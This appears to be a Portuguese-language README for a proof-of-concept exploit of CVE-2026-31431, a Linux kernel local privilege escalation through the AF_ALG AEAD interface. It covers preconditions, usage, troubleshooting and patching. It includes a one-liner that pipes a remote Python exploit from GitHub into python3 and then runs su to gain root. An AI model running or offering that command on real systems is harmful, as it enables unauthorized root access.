
Prova de conceito educacional demonstrando escalonamento local de privilégios no kernel Linux via AF_ALG algif_aead (CVE-2026-31431). Inclui instruções de uso e orientações de mitigação para pesquisa defensiva.
Prova de Conceito educacional para CVE-2026-31431, também conhecida como Copy Fail, uma vulnerabilidade de escalonamento de privilégios local no kernel Linux que envolve a interface criptográfica AF_ALG / algif_aead.
[!WARNING] Este repositório é fornecido estritamente para fins educacionais, defensivos e de pesquisa de segurança autorizada.
Não execute este código em sistemas que você não possui ou em sistemas onde você não tenha permissão explícita por escrito para testar.
O uso não autorizado pode ser ilegal.
CVE-2026-31431 é uma vulnerabilidade de escalonamento de privilégios local no kernel Linux que afeta o subsistema criptográfico do kernel.
A vulnerabilidade envolve o caminho AEAD exposto através da interface AF_ALG e pode permitir que um usuário local sem privilégios interfira nos dados do cache de páginas associados a arquivos legíveis, potencialmente levando ao escalonamento de privilégios em sistemas vulneráveis.
Este repositório contém uma Prova de Conceito educacional mínima destinada a ambientes de laboratório controlados.
O sistema alvo deve expor o algoritmo AEAD AF_ALG necessário.
Você pode verificar isso com:
grep -i "authencesn\|authenc" /proc/crypto
O PoC espera suporte para um algoritmo semelhante a:
authencesn(hmac(sha256),cbc(aes))
Se o algoritmo não estiver disponível, o PoC pode falhar com um erro como:
FileNotFoundError: [Errno 2] No such file or directory
Isso significa que o algoritmo criptográfico necessário do kernel não está disponível no sistema.
Clone o repositório:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
Execute o PoC:
python3 poc.py
Ou execute diretamente:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
Alguns sistemas Linux usam /bin/su em vez de /usr/bin/su. Você pode verificar o caminho correto com:
which su
Se necessário, ajuste o caminho alvo dentro de poc.py.
Se você obtiver FileNotFoundError: [Errno 2] No such file or directory ao vincular a authencesn(hmac(sha256),cbc(aes)), então o algoritmo necessário do kernel está indisponível.
Verifique os algoritmos criptográficos disponíveis:
cat /proc/crypto
ou mais especificamente:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
Se o PoC referenciar /usr/bin/su mas seu sistema usar /bin/su, verifique com:
which su
Em seguida, atualize o caminho em poc.py de acordo.
Os defensores devem atualizar para uma versão corrigida do kernel Linux fornecida pelo fornecedor da sua distribuição.
Após atualizar o kernel, reinicie o sistema para garantir que o kernel corrigido esteja ativo.
Mitigações temporárias podem incluir restringir o acesso à funcionalidade criptográfica afetada do kernel, dependendo do ambiente e da distribuição.
Este projeto destina-se apenas a:
O autor não é responsável por uso indevido, danos ou atividades ilegais causadas por este código.
Use apenas em sistemas onde você tenha autorização explícita.
Este projeto está licenciado sob a Licença MIT.